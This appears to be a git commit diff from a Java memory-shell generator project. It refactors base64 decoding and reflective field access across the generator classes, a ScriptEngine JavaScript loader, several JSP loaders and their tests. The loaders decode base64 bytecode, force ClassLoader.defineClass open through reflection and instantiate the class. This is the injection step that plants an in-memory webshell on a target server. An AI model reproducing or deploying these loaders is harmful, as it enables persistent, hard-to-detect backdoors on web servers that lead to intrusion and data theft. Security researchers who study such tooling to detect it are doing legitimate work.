refactor: simplify base64 and getFieldValue method

This commit is contained in:
ReaJason
2025-06-07 13:31:18 +08:00
parent b6ba3c632a
commit bae97ec554
88 changed files with 732 additions and 1616 deletions
@@ -12,7 +12,8 @@ import net.bytebuddy.implementation.FixedValue;
import java.util.Collections;
import static net.bytebuddy.matcher.ElementMatchers.*;
import static net.bytebuddy.matcher.ElementMatchers.named;
import static net.bytebuddy.matcher.ElementMatchers.takesArguments;
/**
* @author ReaJason
@@ -39,6 +40,7 @@ public class ListenerGenerator {
if (methodNotFound) {
builder = builder.defineMethod("getFieldValue", Object.class, Visibility.PUBLIC, Ownership.STATIC)
.withParameters(Object.class, String.class)
.throwing(Exception.class)
.intercept(FixedValue.nullValue())
.visit(Advice.to(ShellCommonUtil.GetFieldValueInterceptor.class).on(named("getFieldValue")));
}
@@ -1,6 +1,5 @@
package com.reajason.javaweb.memshell.generator.command;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
@@ -53,6 +52,7 @@ public class CommandGenerator extends ByteBuddyShellGenerator<CommandConfig> {
)
.defineMethod("base64DecodeToString", String.class, Visibility.PUBLIC, Ownership.STATIC)
.withParameters(String.class)
.throwing(Exception.class)
.intercept(FixedValue.nullValue())
.visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
.visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam")));
@@ -10,7 +10,7 @@ import net.bytebuddy.asm.Advice;
public class DoubleBase64ParamInterceptor {
@Advice.OnMethodExit
public static void enter(@Advice.Argument(value = 0) String param, @Advice.Return(readOnly = false) String returnValue) {
public static void enter(@Advice.Argument(value = 0) String param, @Advice.Return(readOnly = false) String returnValue) throws Exception {
returnValue = ShellCommonUtil.base64DecodeToString(ShellCommonUtil.base64DecodeToString(param));
}
}
@@ -12,22 +12,7 @@ public class ShellCommonUtil {
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
return "";
}
public static class GetFieldValueInterceptor {
@@ -37,66 +22,43 @@ public class ShellCommonUtil {
@Advice.Argument(value = 1) String name,
@Advice.Return(readOnly = false) Object returnValue
) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
returnValue = field.get(obj);
return;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
returnValue = field.get(obj);
return;
if (returnValue == null) {
throw new NoSuchFieldException();
}
}
}
@SuppressWarnings("all")
public static String base64DecodeToString(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value == null ? null : new String(value);
public static String base64DecodeToString(String bs) throws Exception {
return "";
}
public static class Base64DecodeToStringInterceptor {
@Advice.OnMethodExit
@SuppressWarnings("all")
public static void exit(@Advice.Argument(value = 0, readOnly = false) String bs, @Advice.Return(readOnly = false) String returnValue) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
public static void exit(@Advice.Argument(value = 0, readOnly = false) String bs, @Advice.Return(readOnly = false) String returnValue) throws Exception {
if (bs != null) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
returnValue = new String((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs));
} catch (Exception var6) {
Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
returnValue = new String((byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs));
}
}
returnValue = value == null ? null : new String(value);
}
}
}
+14 -28
View File
@@ -1,30 +1,16 @@
var classLoader = java.lang.Thread.currentThread().getContextClassLoader();
var className = "{{className}}";
var base64Str = "{{base64Str}}";
var clsString = java.lang.Class.forName("java.lang.String");
var bytecode;
try {
classLoader.loadClass(className).newInstance();
} catch (e) {
var clsString = classLoader.loadClass("java.lang.String");
var bytecode;
try {
var clsBase64 = classLoader.loadClass("java.util.Base64");
var clsDecoder = classLoader.loadClass("java.util.Base64$Decoder");
var decoder = clsBase64.getMethod("getDecoder").invoke(clsDecoder);
bytecode = clsDecoder.getMethod("decode", clsString).invoke(decoder, base64Str);
} catch (ee) {
try {
var datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
bytecode = datatypeConverterClz.getMethod("parseBase64Binary", clsString).invoke(datatypeConverterClz, base64Str);
} catch (eee) {
var clazz1 = classLoader.loadClass("sun.misc.BASE64Decoder");
bytecode = clazz1.newInstance().decodeBuffer(base64Str);
}
}
var clsClassLoader = classLoader.loadClass("java.lang.ClassLoader");
var clsByteArray = (new java.lang.String("a").getBytes().getClass());
var clsInt = java.lang.Integer.TYPE;
var defineClass = clsClassLoader.getDeclaredMethod("defineClass", [clsByteArray, clsInt, clsInt]);
defineClass.setAccessible(true);
var clazz = defineClass.invoke(classLoader, bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length));
clazz.newInstance();
}
var decoder = java.lang.Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
bytecode = decoder.getClass().getMethod("decode", clsString).invoke(decoder, base64Str);
} catch (ee) {
var decoder = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance();
bytecode = decoder.getClass().getMethod("decodeBuffer", clsString).invoke(decoder, base64Str);
}
var clsByteArray = (new java.lang.String("a").getBytes().getClass());
var clsInt = java.lang.Integer.TYPE;
var defineClass = java.lang.Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", [clsByteArray, clsInt, clsInt]);
defineClass.setAccessible(true);
var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(), bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length));
clazz.newInstance();
+7 -8
View File
@@ -3,6 +3,7 @@
public ClassDefiner(ClassLoader classLoader) {
super(classLoader);
}
public Class<?> defineClass(byte[] code) {
return defineClass(null, code, 0, code.length);
}
@@ -10,18 +11,16 @@
%>
<%
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
String base64Str = "{{base64Str}}";
byte[] bytecode = null;
try {
Class base64Clz = classLoader.loadClass("java.util.Base64");
Class decoderClz = classLoader.loadClass("java.util.Base64$Decoder");
Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz);
bytecode = (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, base64Str);
Class base64Clz = Class.forName("java.util.Base64");
Object decoder = base64Clz.getMethod("getDecoder").invoke(null);
bytecode = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (ClassNotFoundException ee) {
Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, base64Str);
Class datatypeConverterClz = Class.forName("javax.xml.bind.DatatypeConverter");
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(null, base64Str);
}
Class clazz = new ClassDefiner(classLoader).defineClass(bytecode);
Class clazz = new ClassDefiner(Thread.currentThread().getContextClassLoader()).defineClass(bytecode);
clazz.newInstance();
%>
+3 -4
View File
@@ -17,12 +17,11 @@
byte[] bytecode = null;
try {
Class base64Clz = classLoader.loadClass("java.util.Base64");
Class decoderClz = classLoader.loadClass("java.util.Base64$Decoder");
Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz);
bytecode = (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, base64Str);
Object decoder = base64Clz.getMethod("getDecoder").invoke(null);
bytecode = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (ClassNotFoundException ee) {
Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, base64Str);
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(null, base64Str);
}
Class clazz = new ClassDefiner(classLoader).defineClass(bytecode);
clazz.newInstance();
+4 -5
View File
@@ -4,12 +4,11 @@
byte[] bytecode = null;
try {
Class base64Clz = classLoader.loadClass("java.util.Base64");
Class decoderClz = classLoader.loadClass("java.util.Base64$Decoder");
Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz);
bytecode = (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (ClassNotFoundException e) {
Object decoder = base64Clz.getMethod("getDecoder").invoke(null);
bytecode = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (ClassNotFoundException ee) {
Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, base64Str);
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(null, base64Str);
}
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
+4 -5
View File
@@ -7,12 +7,11 @@
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
try {
Class base64Clz = classLoader.loadClass("java.util.Base64");
Class decoderClz = classLoader.loadClass("java.util.Base64$Decoder");
Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz);
bytecode = (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (ClassNotFoundException e) {
Object decoder = base64Clz.getMethod("getDecoder").invoke(null);
bytecode = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (ClassNotFoundException ee) {
Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, base64Str);
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(null, base64Str);
}
Object unsafe = null;
Object rawModule = null;
@@ -20,7 +20,6 @@ class FreemarkerPackerTest {
.injectorBytesBase64Str("hehe").build();
String content = new String(packer.pack(generateResult));
System.out.println(content);
assertTrue(content.contains("var className = \"hehe\";"));
assertTrue(content.contains("var base64Str = \"hehe\";"));
}
}
@@ -2,7 +2,12 @@ package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
import lombok.SneakyThrows;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.condition.EnabledOnJre;
import org.junit.jupiter.api.condition.JRE;
import javax.script.ScriptEngineManager;
import static org.junit.jupiter.api.Assertions.assertTrue;
@@ -19,8 +24,6 @@ class ScriptEnginePackerTest {
.injectorBytesBase64Str("hehe").build();
String jsContent = new String(new ScriptEnginePacker().pack(generateResult));
System.out.println(jsContent);
assertTrue(jsContent.contains("var className = \"hehe\";"));
assertTrue(jsContent.contains("var base64Str = \"hehe\";"));
}
}